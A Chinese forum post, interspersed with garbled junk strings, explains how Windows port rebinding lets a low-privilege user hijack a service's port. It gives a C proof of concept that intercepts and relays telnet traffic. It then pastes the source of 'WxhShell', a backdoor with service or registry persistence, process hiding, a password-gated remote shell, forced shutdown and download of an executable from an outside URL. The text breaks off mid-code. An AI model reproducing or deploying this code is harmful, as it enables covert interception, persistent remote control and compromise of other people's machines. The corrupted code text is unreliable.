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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;M"hX  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xOTm-Cm9L  
ih ,8'D4  
  saddr.sin_family = AF_INET; ]7dm`XV  
{r'#(\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /Pg66H#RUf  
2{+\\.4Evk  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); J&8l1{gd  
Q$kSK+ q!  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p+9vSM #  
.O1g'%  
  这意味着什么?意味着可以进行如下的攻击: apGf@b  
P-^Z7^o-bX  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %0:  (''  
5"XcVH4g  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) qr<5z. %  
.]v8W51Y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *QjFrw3  
P}?,*'b  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .f(x9|K^  
k*z)AR  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,a5I:V^\  
5Z`f)qE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 DJrA@hm/Y  
s'} oVx]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 gtCd#t'(V  
q7m-} mBN~  
  #include !n)2HDYhx,  
  #include "'6KQnpZ  
  #include O$#`he/jm  
  #include    ajkRL|^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   <k<  
  int main() v C><N  
  { lv$tp,+  
  WORD wVersionRequested; G+\2Aj  
  DWORD ret; :j?Lil%R  
  WSADATA wsaData; HlI*an  
  BOOL val; 5 ^f>L2  
  SOCKADDR_IN saddr; q'c'rN^  
  SOCKADDR_IN scaddr; pmQ9i A@=  
  int err; (zgXhx_!D  
  SOCKET s; 9.1%T06$  
  SOCKET sc; fS!%qr  
  int caddsize; #\t?`\L3  
  HANDLE mt; %G\rL.H|  
  DWORD tid;   zbi[r  
  wVersionRequested = MAKEWORD( 2, 2 ); Du[$6  
  err = WSAStartup( wVersionRequested, &wsaData ); j>?c]h{-  
  if ( err != 0 ) { 4V<s"  
  printf("error!WSAStartup failed!\n"); X<Vko^vlj  
  return -1; rC/m}`b  
  } ]_F%{8|  
  saddr.sin_family = AF_INET; wCn W]<+  
   ~p8-#A)X,)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 L6 hTz'  
nuKjp Ap!  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  b.C!4^  
  saddr.sin_port = htons(23); 3}LTEsdM  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #Q$9Eq8"[  
  { &#;UKk~)Of  
  printf("error!socket failed!\n"); in#g  
  return -1; XY0Gjo0  
  } FS`{3d2K +  
  val = TRUE; \t^q@}~0Wz  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #Du1(R  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7c4\'dt#  
  { z#bO FVg#  
  printf("error!setsockopt failed!\n"); hof ZpM  
  return -1; 9:YiLoz?  
  } d t0?4 d  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; p~+)!Z#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 p0'A\@|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 vpOzF>O  
[<f\+g2ct  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) a.wRJ  
  { mY;Y$fz;xL  
  ret=GetLastError(); dO rgqz`e  
  printf("error!bind failed!\n"); [^~Fu9+"  
  return -1; Ou8@7S  
  } 0I~xD9l9  
  listen(s,2); x:@HtTX  
  while(1) yv4hH4Io  
  { ldi'@^  
  caddsize = sizeof(scaddr); y=5s~7]  
  //接受连接请求 x1Z?x,-D"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); wdl6dLu  
  if(sc!=INVALID_SOCKET) 7 P=1+2V  
  { duT2:~H2  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ihf5`mk/$  
  if(mt==NULL) 0=L:8&m  
  { l"b78n  
  printf("Thread Creat Failed!\n"); IqcPml{\  
  break; CKNH/[ ZR,  
  } l)=Rj`M  
  } jo{GPp}  
  CloseHandle(mt); d8dREhK&  
  } }c%QF  
  closesocket(s); _%z)Y=Q  
  WSACleanup(); f>-OwL($P  
  return 0; [ ecYpE<  
  }   4TC !P}  
  DWORD WINAPI ClientThread(LPVOID lpParam) J3y5R1?EP  
  { FU5vo  
  SOCKET ss = (SOCKET)lpParam; c,X\1yLy  
  SOCKET sc; U#d&#",s  
  unsigned char buf[4096]; 9IC"p<D  
  SOCKADDR_IN saddr; AEOo]b*&d  
  long num; "2N3L8?k  
  DWORD val; `!>zYcmT  
  DWORD ret; o&fAnpia=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 SYeCz(H>d  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %L<VnY#%u  
  saddr.sin_family = AF_INET; ^nFa'=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^xu`NE8;  
  saddr.sin_port = htons(23); {cq; SH  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =n i&*&  
  { s)]i0+!  
  printf("error!socket failed!\n"); X.%Xi'H  
  return -1; z#8GF^U:T  
  } (#X/sZQh  
  val = 100; >2vl & (  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !`)-seTm  
  { cC&R~h]|  
  ret = GetLastError(); DZRk K3  
  return -1; 9@:H9" w  
  } =36vsps=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) | z$ba:u5  
  { 9%> H}7=  
  ret = GetLastError(); &}YB!6k h^  
  return -1; 6./h0kD`  
  } ShF ][v1L  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) vA;ml$  
  { !ck=\3pr  
  printf("error!socket connect failed!\n"); Y}(v[QGV  
  closesocket(sc); 6V*@ {  
  closesocket(ss); 4US8B=jk  
  return -1; TW:vL~L  
  } k2,n:7  
  while(1) )}]<o |'  
  { AL&}WbUC  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 r/Qq-1E  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +\\*Iy'xK  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Apa)qRJd  
  num = recv(ss,buf,4096,0); ()}O|JL:K  
  if(num>0) ;)u}`4~L  
  send(sc,buf,num,0); UVxE~801Y  
  else if(num==0) mQ('X~l  
  break; EYcvD^!1g  
  num = recv(sc,buf,4096,0); yQM7QLbTk  
  if(num>0) 1CFrV=d  
  send(ss,buf,num,0); toX4kmC  
  else if(num==0)  ]i=-/  
  break; E)NH6 ~  
  } k_-=:(Z  
  closesocket(ss); iG6 ^s62z7  
  closesocket(sc); v>~ottQ|  
  return 0 ; rs=wEMq/  
  } J55K+  
](x4q  
N 2L/A  
========================================================== F2AM/m^!q  
J=Ak+  J  
下边附上一个代码,,WXhSHELL b+[9) B)a?  
I&q:w\\z8|  
========================================================== DN&ZRA  
s lDxsb  
#include "stdafx.h" DSizr4R  
*;,=x<  
#include <stdio.h> !})/x~~e  
#include <string.h> i>7f9D7  
#include <windows.h> `$nMTx]Y  
#include <winsock2.h> T9*\I TA  
#include <winsvc.h> JihI1C  
#include <urlmon.h> iL/(WAB_od  
 S`U Gk  
#pragma comment (lib, "Ws2_32.lib") V/"XC3/n*  
#pragma comment (lib, "urlmon.lib") tURIDj%#p  
( X)$8y  
#define MAX_USER   100 // 最大客户端连接数 InH R> ,  
#define BUF_SOCK   200 // sock buffer cx_[Y  
#define KEY_BUFF   255 // 输入 buffer =c(_$|0  
6IctW5b  
#define REBOOT     0   // 重启 QKwWX_3%Z]  
#define SHUTDOWN   1   // 关机 J= ia  
H{\tQ->(2  
#define DEF_PORT   5000 // 监听端口 *O)_D bj  
Y H 2i V  
#define REG_LEN     16   // 注册表键长度 A AH-Dj|&l  
#define SVC_LEN     80   // NT服务名长度 LJc w->  
U^+9l?ol  
// 从dll定义API ?" {+m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v|?hc'Fj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nxsQDw\hy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3+EJ%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v@XQ)95]F  
x/[i &Gkv  
// wxhshell配置信息 .sbU-_ij@U  
struct WSCFG { xv$^%(Ujp  
  int ws_port;         // 监听端口 ^W_}Gd<-#Y  
  char ws_passstr[REG_LEN]; // 口令 i\3BA"ZX  
  int ws_autoins;       // 安装标记, 1=yes 0=no (e= ksah3>  
  char ws_regname[REG_LEN]; // 注册表键名 s|pb0  
  char ws_svcname[REG_LEN]; // 服务名 ~XsS00TL`G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Gqk"%irZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 HAf.LdnzS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ![7v_l\Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }(a y(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Te[[xhTyw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j /)cdP  
Uf4QQ `c#  
}; ?OZbns~  
{;n?c$r  
// default Wxhshell configuration }E*d)n|  
struct WSCFG wscfg={DEF_PORT, 9`4h"9dO  
    "xuhuanlingzhe", ,\+tvrR4X  
    1, )@]-bPnv  
    "Wxhshell", x3PeU_9  
    "Wxhshell", ii2oWU  
            "WxhShell Service", R>/M>*C  
    "Wrsky Windows CmdShell Service", g"(N_sv?  
    "Please Input Your Password: ", 7/PHg)&  
  1, a}i{b2B  
  "http://www.wrsky.com/wxhshell.exe", '8*gJ7]  
  "Wxhshell.exe"  7z<!2  
    }; /nv1 .c)k  
u\t[rC=yd  
// 消息定义模块 [O"i!AQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2O<S ig=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )P|%=laE8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >z>UtT:  
char *msg_ws_ext="\n\rExit."; F#X\}MvEU  
char *msg_ws_end="\n\rQuit."; L9Fx Lw41  
char *msg_ws_boot="\n\rReboot..."; .Z%7+[  
char *msg_ws_poff="\n\rShutdown..."; px//q4 U  
char *msg_ws_down="\n\rSave to "; +FY-r[_~  
)tFFa*Z'  
char *msg_ws_err="\n\rErr!"; 2*K0~ b`  
char *msg_ws_ok="\n\rOK!"; oq8~PTw  
"{z9 L+  
char ExeFile[MAX_PATH]; ?aOR ^ K  
int nUser = 0; _9!Ru!u~  
HANDLE handles[MAX_USER]; k_P`t[YZV  
int OsIsNt; T2Y`q'  
PO&xi9_  
SERVICE_STATUS       serviceStatus; `c:'il?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7c %@2  
&sS k~:  
// 函数声明 OUI}jJw+  
int Install(void); ry~3YYEMI0  
int Uninstall(void); M#<x2ojW  
int DownloadFile(char *sURL, SOCKET wsh); ^ / f*5k  
int Boot(int flag); 2<ef&?ljk  
void HideProc(void); /R|"/B0  
int GetOsVer(void); )z/j5tnvm  
int Wxhshell(SOCKET wsl); }{K)5k@  
void TalkWithClient(void *cs); @'C)ss=kj  
int CmdShell(SOCKET sock); d57(#)`  
int StartFromService(void); aj(M{gFq~  
int StartWxhshell(LPSTR lpCmdLine); PDD` eK}Fj  
nJ*NI)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); HS(<wI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g-+p(Ll|  
GExG1n-  
// 数据结构和表定义 (a^F`#]  
SERVICE_TABLE_ENTRY DispatchTable[] = fi bR:8  
{ QO#ZQ~  
{wscfg.ws_svcname, NTServiceMain}, 'O{hr0q}  
{NULL, NULL} dcHkb,HsO  
}; (/@o7&>*50  
i w m7M  
// 自我安装 Jt)<RMQ^R  
int Install(void) wV5<sH__  
{ TS UN(_XGW  
  char svExeFile[MAX_PATH]; Ei}DA=:s  
  HKEY key; :-6_X<  
  strcpy(svExeFile,ExeFile); F&c A!~  
xPb`CY7  
// 如果是win9x系统,修改注册表设为自启动 4 Qw;r  
if(!OsIsNt) { 7XR[`Tn9<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <n6/np!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xUSIck  
  RegCloseKey(key); [Xz7.<0#U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E&[ox[g{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G 8NSBaZe  
  RegCloseKey(key); QkF-}P%  
  return 0; 97Q!Rot  
    } 4e%SF|(Y'h  
  } %"KBX~3+Kj  
} w^ DAu1  
else { ~&yaIuW<  
x1Si&0T0P<  
// 如果是NT以上系统,安装为系统服务 ]h|GaHiE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =3( ZUV X  
if (schSCManager!=0) f3596a  
{ L1D%vu`  
  SC_HANDLE schService = CreateService fqF1 - %  
  ( SQz>e  
  schSCManager, l[.pI];T  
  wscfg.ws_svcname, 5 |>jz `  
  wscfg.ws_svcdisp, E4{^[=}  
  SERVICE_ALL_ACCESS, Gm6^BYCk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /\=g;o'  
  SERVICE_AUTO_START, L^0jyp  
  SERVICE_ERROR_NORMAL, `[:f;2(@  
  svExeFile, Ybok[5  
  NULL, zCco/]h  
  NULL, ~Aq UT]l  
  NULL, z{%G  
  NULL, YHAy+S  
  NULL -bs~{  
  ); XGO_n{ x  
  if (schService!=0) 3-Ti'xM  
  { )fC^h=Qp  
  CloseServiceHandle(schService); Y]Xal   
  CloseServiceHandle(schSCManager); a"ht\v}1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U9;AU] A  
  strcat(svExeFile,wscfg.ws_svcname); N}^\$sVu_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3N<FG.6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QU\|RX   
  RegCloseKey(key); l9SbuT$U  
  return 0; /O&j1g@  
    } un..UU4  
  } P [gqv3V  
  CloseServiceHandle(schSCManager); /gPn2e;  
} T$RZRZo  
} ffSecoX  
lJ}lO,g  
return 1; QZd ,GY5{  
} c"fnTJXr79  
G-T:7  
// 自我卸载 }9@ ,EEhg  
int Uninstall(void)  DMf:u`<  
{ /tV)8pEj  
  HKEY key; \5O4}sm$*  
QZzi4[-as  
if(!OsIsNt) { ku?i[Th  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RELLQpz3  
  RegDeleteValue(key,wscfg.ws_regname); p+A#t~K  
  RegCloseKey(key); ]3C7guWz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L%N|8P[  
  RegDeleteValue(key,wscfg.ws_regname); 1'Kn:I  
  RegCloseKey(key); h*&-[nSo  
  return 0; {6A3?q  
  } ~u-mEdu3C  
} 7X1T9'j I2  
} HP&+ 8  
else { 8g&uCv/Uk  
R~;<}!Gtx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rsA K0R+  
if (schSCManager!=0) NtSa# $A  
{ @ Al\:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !SEg4z  
  if (schService!=0) 3fM~R+p  
  { =A04E  
  if(DeleteService(schService)!=0) { fY$M**/,  
  CloseServiceHandle(schService); b`fPP{mG  
  CloseServiceHandle(schSCManager); =K}5 fe  
  return 0; IIs'm!"Y>  
  } WHMt$W}%  
  CloseServiceHandle(schService); KK}^E_v  
  } x.~Z9j  
  CloseServiceHandle(schSCManager); z4{ H=  
} M-"%4^8_  
} jBarYg  
Hj$JXo[U  
return 1;  WOG=Uy$  
} 8"Hy'JA$O  
{Jwh .bJ  
// 从指定url下载文件 ( {5LB4  
int DownloadFile(char *sURL, SOCKET wsh) 9 }jF]P*Q  
{ >2,x#RQs  
  HRESULT hr; K1]H~'  
char seps[]= "/"; k*[["u^u]  
char *token; Kbrb;r59  
char *file; O| ) [j@7  
char myURL[MAX_PATH]; VW$Hzx_z  
char myFILE[MAX_PATH]; O2-9Oo@#,  
G!uoKiL  
strcpy(myURL,sURL); g,r'].Jg  
  token=strtok(myURL,seps); #jv~FR`4v^  
  while(token!=NULL) w?Cqe N  
  { E~3wdOZv1  
    file=token; d.3-@^P  
  token=strtok(NULL,seps); V^As@P8,'(  
  } oMM`7wJw  
}v"X.fa^  
GetCurrentDirectory(MAX_PATH,myFILE); %!mJ nc%  
strcat(myFILE, "\\"); ~q5"'  
strcat(myFILE, file); Cq(dj^/~m  
  send(wsh,myFILE,strlen(myFILE),0); yn)K1f^  
send(wsh,"...",3,0); uK2MC?LP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,|<2wn#q  
  if(hr==S_OK) -1 ;BwlL  
return 0; #HfvY}[o  
else QX1QYwcmG  
return 1; :GBWQXb G  
BxS\ "W  
} oJA%t-&%R  
) wtVFG  
// 系统电源模块 0&} "!)  
int Boot(int flag) s`B]+  
{ ^1sX22k  
  HANDLE hToken; k7z;^:  
  TOKEN_PRIVILEGES tkp; -,C">T%\  
x DD3Y{ K  
  if(OsIsNt) { =UE/GTbl  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [*GIR0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <csz4tL}P  
    tkp.PrivilegeCount = 1; UE3(L ^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?5_~Kn%2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j6]+ fo&3  
if(flag==REBOOT) { :L*"OT7(6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Vf9PHHH|   
  return 0; ;jS2bc:8a  
} Y&!M#7/'J3  
else { GVhO}m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1BO$xq  
  return 0; (L}  
} F67%xz0  
  } Y /$`vgqs  
  else {  yV[9 (  
if(flag==REBOOT) { lO3W:,3_a  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +RW P;rk  
  return 0; Z]kk.@P  
} o8Vtxnkg  
else { VOr*YB&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K =T]@ix$  
  return 0; H'7AIY }  
} s3@sX_2  
} "h?;)Ye  
9c9F C  
return 1; uTgBnv(Y*  
} ]k~Vh[[  
Jf6u E?.  
// win9x进程隐藏模块 DID&fj9m  
void HideProc(void) v|uY\Z  
{ KzD5>Xf]4$  
64xq@_+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B^g+_;  
  if ( hKernel != NULL ) ."b=dkx  
  { &* GwA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :aHD'K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m| 8%%E}d  
    FreeLibrary(hKernel); 94C)63V  
  } [GKSQt{)  
$T7hY$2Q l  
return; \;AW/& Ea  
} $jMU| {  
#;cDPBv*wS  
// 获取操作系统版本 gEC*JbA.3  
int GetOsVer(void) $mFsf)1]]?  
{ \%\b* OO  
  OSVERSIONINFO winfo; "j|}-a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q|eRek  
  GetVersionEx(&winfo); h $)t hW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qT]Bl+h2  
  return 1; LL3RC6;e  
  else !g:UkU\J  
  return 0; /E>z8 J$  
} OdX-.FFl  
0_JbE  
// 客户端句柄模块 A6w/X`([O  
int Wxhshell(SOCKET wsl) ;:xOW$  
{ [{3WHS.  
  SOCKET wsh; +js3o@Ku{\  
  struct sockaddr_in client; *UVjN_na5  
  DWORD myID; ,Ie~zZE&  
 (2vR8  
  while(nUser<MAX_USER) EFeGxM  
{ x)<5f|j  
  int nSize=sizeof(client); Bm%.f!`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .XM3oIaW  
  if(wsh==INVALID_SOCKET) return 1; $IUP;  
PZ69aZ*Gs  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0@a6r=`el  
if(handles[nUser]==0) 2 =tPxO')B  
  closesocket(wsh); sQW$P9s c  
else N]cGJU>$  
  nUser++; R`=IYnoOA  
  } <x@\3{{U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e2w$":6>  
ixN>KwH  
  return 0; aq3evm  
} K8*QS_*  
Z4'"*  
// 关闭 socket uE:#m.Q  
void CloseIt(SOCKET wsh) fX G+88:2  
{ M%4o0k]E,s  
closesocket(wsh); [;dWFG"f  
nUser--; G 8|[.n  
ExitThread(0); AG) N^yd  
} [:$j<}UmB  
/b@0HL?  
// 客户端请求句柄 >K#Z]k  
void TalkWithClient(void *cs) Jl3l\I'  
{ !7J;h{3Uw  
Z91gAy^z<  
  SOCKET wsh=(SOCKET)cs; FM9b0qE  
  char pwd[SVC_LEN]; W#'c6Hq2c  
  char cmd[KEY_BUFF]; 7-Rn{"5  
char chr[1]; MnFem $ @  
int i,j; b0LjNO@<  
OB3AZH$  
  while (nUser < MAX_USER) { ><OdHRh@#  
q ,d]i/T  
if(wscfg.ws_passstr) { )<4o"R:*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #Q6wv/"Ub  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [$3Zid  
  //ZeroMemory(pwd,KEY_BUFF); O60jC;{F  
      i=0; .}ZX~k&P  
  while(i<SVC_LEN) { ` 2|~Z H  
Ndi'b_Sh\  
  // 设置超时 P;KbS~ SlC  
  fd_set FdRead; a[s%2>e  
  struct timeval TimeOut; ,Z_nV+l_  
  FD_ZERO(&FdRead); s5|LD'o!  
  FD_SET(wsh,&FdRead); 8q7KqYu  
  TimeOut.tv_sec=8; O~d!* A  
  TimeOut.tv_usec=0; ml=1R >#'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); BO[Q"g$Kon  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w,8 M  
^1,]?F^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i )3Y\ u  
  pwd=chr[0]; xx;'WL,g  
  if(chr[0]==0xd || chr[0]==0xa) { !nVX .m9  
  pwd=0; z('93vsO  
  break; R$,`}@VqZ3  
  } k`)LO`))  
  i++; b,T=0W  
    } [$[t.m  
~R)w 9uq  
  // 如果是非法用户,关闭 socket K 1:F{*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &[*<>  
} 3=bzIU  
qx0o,oZN!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9U}EVpD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .v1rrH?  
mSQ!<1PM  
while(1) { }f&7<E  
m}uF&|5  
  ZeroMemory(cmd,KEY_BUFF); _%zU ^aE  
'2[ _U&e  
      // 自动支持客户端 telnet标准   G#@<bg3  
  j=0; I}:>M!w  
  while(j<KEY_BUFF) { 3;:xEPb._6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {7/6~\'/@  
  cmd[j]=chr[0]; $ @1&G~x  
  if(chr[0]==0xa || chr[0]==0xd) { g X(QRQ  
  cmd[j]=0; Wnf`Rf)1z  
  break; e:7aVOm  
  } z%g<&Cq  
  j++; H~V=TEj  
    } A{+ZXu}  
7H >dv'  
  // 下载文件 ;=^WIC+Nr  
  if(strstr(cmd,"http://")) { T3?kabbF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,RT\&Ze5  
  if(DownloadFile(cmd,wsh)) {?L}qV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g:,4Kd|  
  else R,^FJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6|jE3rHw  
  } Xif`gb6`  
  else { 1gm{.*G  
cxv) LOl-  
    switch(cmd[0]) { A6U6SvM;  
  x)Th2es\  
  // 帮助 rvfl~<G*  
  case '?': { (f.A5~e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :iWV:0)P  
    break; LnyA5T  
  } m76]INq  
  // 安装 g,W#3b6>j  
  case 'i': { "1nd~ BBOw  
    if(Install()) j68Gz5;j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hs*:!&E  
    else {Y/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dJ;;l7":~  
    break; Ud9\;Qse  
    } JC+VG;kcs  
  // 卸载 M1>a,va8Zq  
  case 'r': { bQ4 }no0  
    if(Uninstall()) 2>r.[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wvYxL c#p0  
    else {38aaf|'/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j>:T)zhyY  
    break; jGWLYI=V2  
    } XDWERv Ij  
  // 显示 wxhshell 所在路径 *Xo f;)Z^  
  case 'p': { 8]L.E  
    char svExeFile[MAX_PATH]; GJ$,@  
    strcpy(svExeFile,"\n\r"); lt]U?VZ   
      strcat(svExeFile,ExeFile); ;|%r!!#-t  
        send(wsh,svExeFile,strlen(svExeFile),0); i0!F  
    break; kO#`m ]  
    } ;wF|.^_2  
  // 重启 g:)v thOs  
  case 'b': { loB/w{r*x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f:SF&t*  
    if(Boot(REBOOT)) GwV FD%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,ym;2hJ  
    else { u0e#iX  
    closesocket(wsh); vOS0E^  
    ExitThread(0); ^`7t@G$ D  
    } x,dv ~QU  
    break; 3Y-v1.^j  
    } p#d UL9  
  // 关机 02[II_< 1  
  case 'd': { xW =$j|  
